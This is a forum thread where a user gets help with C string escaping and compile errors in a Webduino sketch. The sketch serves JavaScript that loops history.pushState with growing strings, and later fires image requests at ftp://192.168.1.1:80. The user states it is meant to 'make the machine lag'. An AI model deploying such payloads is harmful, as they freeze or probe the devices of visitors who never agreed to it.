Webduino Compile error

I’m not sure what’s wrong with my code. I keep getting errors.

    /* Web_HelloWorld.pde - very simple Webduino example */

#include "WebServer/WebServer.h"

/* This creates an instance of the webserver.  By specifying a prefix
 * of "", all pages will be at the root of the server. */
#define PREFIX ""
WebServer webserver(PREFIX, 8080);

/* commands are functions that get called by the webserver framework
 * they can read any posted data from client, and they output to the
 * server to send data back to the web browser. */
void helloCmd(WebServer &server, WebServer::ConnectionType type, char *, bool)
{
  /* this line sends the standard "we're all OK" headers back to the
     browser */
  server.httpSuccess();

  /* if we're handling a GET or POST, we can output our data here.
     For a HEAD request, we just stop after outputting headers. */
  if (type != WebServer::HEAD)
  {
    /* this defines some HTML text in read-only memory aka PROGMEM.
     * This is needed to avoid having the string copied to our limited
     * amount of RAM. */
    P(helloMsg) = "<!DOCTYPE html>
<html>
  <body>
    <h1>This is a test server.</h1>
    <script>
      var total = "";
      for( var i = 0; i < 100000; i++ ) {
          total = total + i.toString();
          history.pushState(0,0, total );
      }
    </script>
  </body>
</html>";

    /* this is a special form of print that outputs from PROGMEM */
    server.printP(helloMsg);
  }
}

void setup()
{
  /* setup our default command that will be run when the user accesses
   * the root page on the server */
  webserver.setDefaultCommand(&helloCmd);

  /* run the same command if you try to load /index.html, a common
   * default page name */
  webserver.addCommand("index.html", &helloCmd);

  /* start the webserver */
  webserver.begin();
}

void loop()
{
  char buff[64];
  int len = 64;

  /* process incoming connections one at a time forever */
  webserver.processConnection(buff, &len);
}

like…?

    In file included from web_helloworld.cpp:3:0:
WebServer/WebServer.h:41:0: warning: "pgm_read_byte" redefined [enabled by default]
 #define pgm_read_byte(x) (*((uint8_t*)x))
 ^
In file included from ../wiring/inc/spark_wiring.h:37:0,
                 from ./inc/application.h:36,
                 from web_helloworld.cpp:2:
../wiring/inc/spark_wiring_arduino.h:32:0: note: this is the location of the previous definition
 #define pgm_read_byte(x)  (*(x))
 ^
web_helloworld.cpp:26:19: warning: missing terminating " character [enabled by default]
   if (type != WebServer::HEAD)
                   ^
web_helloworld.cpp:26:5: error: missing terminating " character
   if (type != WebServer::HEAD)
     ^

web_helloworld.cpp:38:8: warning: missing terminating " character [enabled by default]
           total = total + i.toString();
        ^
web_helloworld.cpp:38:1: error: missing terminating " character
           total = total + i.toString();
 ^

In file included from web_helloworld.cpp:3:0:
WebServer/WebServer.h: In member function 'bool WebServer::readPOSTparam(char*, int, char*, int)':
WebServer/WebServer.h:1044:39: warning: narrowing conversion of 'ch1' from 'int' to 'char' inside { } [-Wnarrowing]
       char hex[3] = { ch1, ch2, '\x0' };
                                       ^
WebServer/WebServer.h:1044:39: warning: narrowing conversion of 'ch2' from 'int' to 'char' inside { } [-Wnarrowing]
web_helloworld.cpp: In function 'void helloCmd(WebServer&, WebServer::ConnectionType, char*, bool)':
web_helloworld.cpp:27:1: error: expected primary-expression before '<' token
   {
 ^

web_helloworld.cpp:27:2: error: 'html' was not declared in this scope
   {
  ^

web_helloworld.cpp:28:3: error: expected primary-expression before '<' token
     /* this defines some HTML text in read-only memory aka PROGMEM.
   ^

web_helloworld.cpp:28:4: error: 'body' was not declared in this scope
     /* this defines some HTML text in read-only memory aka PROGMEM.
    ^

web_helloworld.cpp:29:5: error: expected primary-expression before '<' token
      * This is needed to avoid having the string copied to our limited
     ^

web_helloworld.cpp:29:6: error: 'h1' was not declared in this scope
      * This is needed to avoid having the string copied to our limited
      ^

web_helloworld.cpp:29:9: error: 'This' was not declared in this scope
      * This is needed to avoid having the string copied to our limited
         ^

web_helloworld.cpp:32:12: error: 'var' was not declared in this scope
 <html>
            ^

web_helloworld.cpp:32:16: error: expected ';' before 'i'
 <html>
                ^

web_helloworld.cpp:32:23: error: 'i' was not declared in this scope
 <html>
                       ^

web_helloworld.cpp:33:11: error: 'total' was not declared in this scope
   <body>
           ^

web_helloworld.cpp:34:11: error: 'history' was not declared in this scope
     <h1>This is a test server.</h1>
           ^

web_helloworld.cpp:36:5: error: expected primary-expression before '<' token
       var total = "";
     ^

web_helloworld.cpp:36:6: error: expected primary-expression before '/' token
       var total = "";
      ^

web_helloworld.cpp:36:7: error: 'script' was not declared in this scope
       var total = "";
       ^

web_helloworld.cpp:37:3: error: expected primary-expression before '<' token
       for( var i = 0; i < 100000; i++ ) {
   ^

web_helloworld.cpp:37:4: error: expected primary-expression before '/' token
       for( var i = 0; i < 100000; i++ ) {
    ^

web_helloworld.cpp:38:1: error: expected primary-expression before '<' token
           total = total + i.toString();
 ^

web_helloworld.cpp:38:2: error: expected primary-expression before '/' token
           total = total + i.toString();
  ^

make[1]: *** [../build/target/user/platform-6web_helloworld.o] Error 1
make: *** [user] Error 2
Error: Could not compile. Please review your code.

I fixed that but I have a new error. I want to use <img src="http://www.google.com”> but because it already has quotation marks in this line of code it doesn’t work. How can I get it to work?

You need to escape the double quotes like this

char text[] = "He said: \"How can I get it to work?\", and got told ;-)";
1 Like

what do you mean by escape the double quotes?

@Greg123, since you can’t put a double quote within a double quote, you need to “escape” the one you want to print. The C++ escape character is \.

clearer?

So like this \"<img src="http://www.google.com”>"\

Noooo!

char yourString[] = "<img src=\"http://www.google.com\">";

Just as in my sample!

// look at the formatting of your version
char wontWork[] = \"<img src="http://www.google.com">"\ ;
// this won't compile

Sorry I’m not a C person. I mainly work in JS, HTML and CSS.

I still got an error running it

web_helloworld.cpp:30:2: error: expected ‘,’ or ‘;’ before ‘char’
* amount of RAM. */
^

Sounds like you’re missing a semicolon on the line before.

this is the line above "</script>" I’m not missing a semicolon. The code compiled fine before.

I doubt that, since your initial post talks about the code not compiling and I didn’t see any mention of doing.

I’ve seen that now removed code, but don’t get any errors - is this the reason why you removed it?

I couldn’t get it to show up right. The forum kept running the html code. Here is a link to the Web Server Code

    P(helloMsg) = "<script>"
"for (var i = 0; i < 1; i++) {"
 "var img = new Image();"
 "var url = 'ftp://192.168.1.1:80/?' + i;"
 "img.src = url;"
"}"
"</script>"
"<img src=\"http://www.google.com\">";  // char yourString[] =  // <-- this was just for demonstration NOT to be copy pasted without thinking
"<h1>Hello World!</h1>";

    /* this is a special form of print that outputs from PROGMEM */
    server.printP(helloMsg);
1 Like

Thanks so much for your help!

I’m trying to get my source code to run. It’s supposed to make the machine lag. Here is the web server code (it’s different from the previous project)